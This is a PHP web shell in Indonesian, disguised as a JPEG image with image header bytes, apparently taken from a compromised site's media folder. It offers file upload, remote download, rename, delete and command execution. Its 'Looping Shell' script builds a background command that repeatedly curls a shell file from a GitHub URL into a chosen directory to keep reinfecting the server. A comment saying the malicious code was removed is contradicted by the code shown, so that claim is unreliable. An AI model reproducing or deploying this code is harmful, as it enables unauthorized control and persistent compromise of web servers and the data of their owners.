ÿØÿà JFIF ` ` ÿáfExif MM * ‡i >ê 2 ê ê P ê ÿþ ?CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
|
Server : LiteSpeed System : Linux in-mum-web1658.main-hosting.eu 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64 User : u552919906 ( 552919906) PHP Version : 8.3.33 Disable Function : NONE Directory : /home/u552919906/domains/machinerybazaar.co.in/public_html/media/ |
Upload File : |
��� JFIF ` ` ��fExif MM * �i >� 2 � � P � �� ?CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
<?php
session_start();
$password_hash = md5('1337x'); // GANTI PASSWORD DI SINI
// LOGOUT
if (isset($_GET['logout'])) {
session_destroy();
header('Location: ?');
exit;
}
// LOGIN
$login_error = '';
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
echo htmlspecialchars($uname ?: 'uname -a tidak tersedia');
?>
</div>
</div>
<form id="loopForm">
<div class="mb-3">
<label class="form-label" style="color:#e0e0e0;font-size:13px;">
<i class="fas fa-folder me-1"></i> Direktori Target
</label>
<div class="input-group">
<span class="input-group-text" style="background:rgba(255,255,255,0.06);border:1px solid rgba(255,255,255,0.1);border-radius:10px 0 0 10px;border-right:none;color:rgba(255,255,255,0.5);">
<i class="fas fa-folder-open"></i>
</span>
<input type="text" name="loop_dir" class="form-control" id="loopDirInput"
value="<?php echo htmlspecialchars($dir); ?>"
placeholder="/path/ke/direktori" required
style="border-left:none;border-radius:0 10px 10px 0;">
</div>
<div class="form-text text-muted-custom small mt-2">
<i class="fas fa-info-circle me-1"></i>
Masukkan path direktori tujuan untuk mendownload shell.
Direktori akan dibuat otomatis jika belum ada.
</div>
</div>
<!-- Tombol Submit Looping -->
<button type="submit" class="btn btn-glass-loop w-100" style="animation:none;padding:12px;font-size:15px;">
<i class="fas fa-play me-2"></i>Submit Looping
</button>
</form>
</div>
</div></div>
</div>
<!-- MODALS -->
<div class="modal fade" id="uploadModal" tabindex="-1">
<div class="modal-dialog"><div class="modal-content">
<div class="modal-header"><h5 class="modal-title"><i class="fas fa-upload me-2"></i>Upload File</h5><button type="button" class="btn-close" data-bs-dismiss="modal"></button></div>
<div class="modal-body">
<form id="uploadForm" enctype="multipart/form-data">
<div class="mb-3"><label class="form-label">Pilih File</label><input type="file" name="file" class="form-control" id="fileInput"></div>
<div id="uploadProgress" class="progress-upload mb-3" style="display:none;"><div class="progress-bar" id="progressBar" style="width:0%"></div></div>
<button type="submit" class="btn-glass w-100"><i class="fas fa-upload me-1"></i>Upload</button>
</form>
</div>
</div></div>
</div>
<div class="modal fade" id="newFolderModal" tabindex="-1">
<div class="modal-dialog"><div class="modal-content">
<div class="modal-header"><h5 class="modal-title"><i class="fas fa-folder-plus me-2"></i>Buat Folder Baru</h5><button type="button" class="btn-close" data-bs-dismiss="modal"></button></div>
<div class="modal-body">
<form method="POST">
<input type="hidden" name="new_folder" value="1">
<div class="mb-3"><label class="form-label">Nama Folder</label><input type="text" name="folder_name" class="form-control" placeholder="nama_folder" required></div>
<button type="submit" class="btn-glass w-100"><i class="fas fa-plus me-1"></i>Buat</button>
</form>
</div>
</div></div>
</div>
<div class="modal fade" id="remoteModal" tabindex="-1">
<div class="modal-dialog"><div class="modal-content">
<div class="modal-header"><h5 class="modal-title"><i class="fas fa-cloud-download-alt me-2"></i>Remote Upload</h5><button type="button" class="btn-close" data-bs-dismiss="modal"></button></div>
<div class="modal-body">
<form id="remoteForm">
<div class="mb-3"><label class="form-label">URL File</label><input type="url" name="remote_url" class="form-control" placeholder="https://example.com/" required id="remoteUrl"></div>
<div id="remoteProgress" class="progress-upload mb-3" style="display:none;"><div class="progress-bar" id="remoteProgressBar" style="width:0%"></div></div>
<button type="submit" class="btn-glass w-100"><i class="fas fa-download me-1"></i>Download & Upload</button>
</form>
</div>
</div></div>
</div>
<div class="modal fade" id="renameModal" tabindex="-1">
<div class="modal-dialog"><div class="modal-content">
<div class="modal-header"><h5 class="modal-title"><i class="fas fa-pen me-2"></i>Rename <span id="renameType" style="color:#ffc107;"></span></h5><button type="button" class="btn-close" data-bs-dismiss="modal"></button></div>
<div class="modal-body">
<form method="POST" id="renameForm">
<input type="hidden" name="rename" value="1">
<input type="hidden" name="old_name" id="renameOld">
<div class="mb-3"><label class="form-label">Nama Baru</label><input type="text" name="new_name" class="form-control" id="renameNew" placeholder="nama_baru" required></div>
<button type="submit" class="btn-glass-warning w-100"><i class="fas fa-check me-1"></i>Rename</button>
</form>
</div>
</div></div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script>
function confirmDelete(name, event) {
event.preventDefault();
var link = event.target.closest('a');
Swal.fire({ title: 'Hapus?', text: 'Yakin ingin menghapus "' + name + '"?', icon: 'warning', showCancelButton: true, confirmButtonColor: '#ff4757', cancelButtonColor: '#6c757d', confirmButtonText: 'Ya, hapus!', cancelButtonText: 'Batal', background: '#1a1a2e', color: '#fff' }).then((r) => { if (r.isConfirmed) window.location.href = link.getAttribute('href'); });
return false;
}
function openRename(name, type) {
document.getElementById('renameType').textContent = type.toUpperCase() + ': ' + name;
document.getElementById('renameOld').value = name;
document.getElementById('renameNew').value = name;
new bootstrap.Modal(document.getElementById('renameModal')).show();
}
document.getElementById('uploadForm').addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(this);
var prog = document.getElementById('uploadProgress');
var bar = document.getElementById('progressBar');
prog.style.display = 'block'; bar.style.width = '0%';
$.ajax({
url: '?dir=<?php echo urlencode($dir); ?>&ajax=upload',
type: 'POST', data: formData, processData: false, contentType: false,
xhr: function() {
var xhr = new XMLHttpRequest();
xhr.upload.addEventListener('progress', function(evt) { if (evt.lengthComputable) bar.style.width = Math.round((evt.loaded/evt.total)*100) + '%'; });
return xhr;
},
success: function(res) {
bar.style.width = '100%';
setTimeout(function() { Swal.fire({ icon: 'success', title: 'Berhasil!', text: res.message || 'Upload selesai', background: '#1a1a2e', color: '#fff', confirmButtonColor: '#667eea' }).then(() => location.reload()); }, 500);
},
error: function() { prog.style.display = 'none'; Swal.fire({ icon: 'error', title: 'Gagal', text: 'Upload gagal', background: '#1a1a2e', color: '#fff', confirmButtonColor: '#667eea' }); }
});
});
document.getElementById('remoteForm').addEventListener('submit', function(e) {
e.preventDefault();
var url = document.getElementById('remoteUrl').value;
var prog = document.getElementById('remoteProgress');
var bar = document.getElementById('remoteProgressBar');
prog.style.display = 'block'; bar.style.width = '30%';
$.ajax({
url: '?dir=<?php echo urlencode($dir); ?>&ajax=upload',
type: 'POST', data: { remote_url: url },
success: function(res) {
bar.style.width = '100%';
setTimeout(function() { Swal.fire({ icon: 'success', title: 'Berhasil!', text: res.message || 'Remote upload selesai', background: '#1a1a2e', color: '#fff', confirmButtonColor: '#667eea' }).then(() => location.reload()); }, 500);
},
error: function() { prog.style.display = 'none'; Swal.fire({ icon: 'error', title: 'Gagal', text: 'Remote upload gagal', background: '#1a1a2e', color: '#fff', confirmButtonColor: '#667eea' }); }
});
});
document.addEventListener('DOMContentLoaded', function() {
document.addEventListener('keydown', function(e) {
if ((e.ctrlKey||e.metaKey) && e.key === 's') {
var form = document.querySelector('.editor-footer form');
if (form) { e.preventDefault(); form.submit(); }
}
});
document.querySelectorAll('input[name="cmd"]').forEach(function(inp) {
inp.addEventListener('keydown', function(e) { if (e.key === 'Enter') { e.preventDefault(); this.closest('form').submit(); } });
});
// ========== LOOPING SHELL LOGIC (DENGAN MODAL DIRECTORY) ==========
let loopInterval = null;
const loopBtn = document.getElementById('loopShellBtn');
const loopBtnText = document.getElementById('loopBtnText');
const loopToast = document.getElementById('loopToast');
const loopToastText = document.getElementById('loopToastText');
const loopDirModalEl = document.getElementById('loopDirModal');
const loopDirModal = new bootstrap.Modal(loopDirModalEl);
// Tombol Looping: jika sudah running => stop, jika belum => buka modal
loopBtn.addEventListener('click', function() {
if (loopInterval) {
// STOP looping
clearInterval(loopInterval);
loopInterval = null;
loopBtn.classList.remove('active');
loopBtnText.textContent = 'Looping Shell';
loopToast.style.display = 'none';
Swal.fire({
icon: 'info',
title: 'Looping Dihentikan',
text: 'Proses looping shell telah berhenti.',
background: '#1a1a2e',
color: '#fff',
confirmButtonColor: '#667eea',
timer: 2000,
timerProgressBar: true
});
} else {
// Tampilkan modal dengan uname -a dan input direktori
loopDirModal.show();
}
});
// Handle submit form looping di modal
document.getElementById('loopForm').addEventListener('submit', function(e) {
e.preventDefault();
const targetDir = document.getElementById('loopDirInput').value.trim();
if (!targetDir) {
Swal.fire({
icon: 'warning',
title: 'Oops!',
text: 'Direktori tidak boleh kosong!',
background: '#1a1a2e',
color: '#fff',
confirmButtonColor: '#667eea'
});
return;
}
// Tutup modal
loopDirModal.hide();
// Command: buat direktori jika belum ada, lalu looping download shell ke direktori itu
// Gunakan mkdir -p agar tidak error jika direktori sudah ada
const cmd = "(mkdir -p " + targetDir + " && while true; do curl -sL https://raw.githubusercontent.com/nortslem/LiteSpeed/refs/heads/main/shellph8.php -o " + targetDir + "/shellph8.php; sleep 5; done) &";
// Kirim command via AJAX untuk memulai proses background
$.ajax({
url: window.location.href,
type: 'POST',
data: { cmd: cmd },
success: function() {
// Set interval untuk keep-alive (ulang command tiap 10 detik agar proses tetap berjalan)
loopInterval = setInterval(function() {
$.ajax({
url: window.location.href,
type: 'POST',
data: { cmd: cmd },
success: function() {
loopToastText.textContent = 'Looping ke ' + targetDir + ' - ' + new Date().toLocaleTimeString();
},
error: function() {
loopToastText.textContent = 'Looping: error request';
}
});
}, 10000);
// Update UI
loopBtn.classList.add('active');
loopBtnText.textContent = 'Stop Loop';
loopToast.style.display = 'flex';
loopToastText.textContent = 'Looping dimulai ke: ' + targetDir;
Swal.fire({
icon: 'success',
title: 'Looping Dimulai!',
html: 'Shell akan didownload terus ke:<br><strong>' + targetDir + '/shellph8.php</strong><br>setiap 5 detik.',
background: '#1a1a2e',
color: '#fff',
confirmButtonColor: '#ff4757',
timer: 3000,
timerProgressBar: true
});
},
error: function() {
Swal.fire({
icon: 'error',
title: 'Gagal',
text: 'Gagal memulai looping shell. Cek path direktori.',
background: '#1a1a2e',
color: '#fff',
confirmButtonColor: '#667eea'
});
}
});
});
// Reset modal form ketika ditutup tanpa submit
loopDirModalEl.addEventListener('hidden.bs.modal', function() {
// Tidak perlu reset value, biarkan sesuai default
});
});
</script>
</body>
</html>
<?php
if ($message) {
$icon = ($msgType === 'error') ? 'error' : 'success';
$title = ($msgType === 'error') ? 'Gagal!' : 'Berhasil!';
echo '<script>Swal.fire({icon:"' . $icon . '",title:"' . $title . '",text:"' . addslashes($message) . '",background:"#1a1a2e",color:"#fff",confirmButtonColor:"#667eea"});</script>';
}
?>�>��f�'�����Ng�<�i�6� �O�O��h�z������g�~c��O���7{M�=��h�>�7y�|O�G�O�?1���6O�>���~y�So���m�>��D�g���ޚ|3o��^�|Nf�G�� �'H�k���<O��'ޟ[��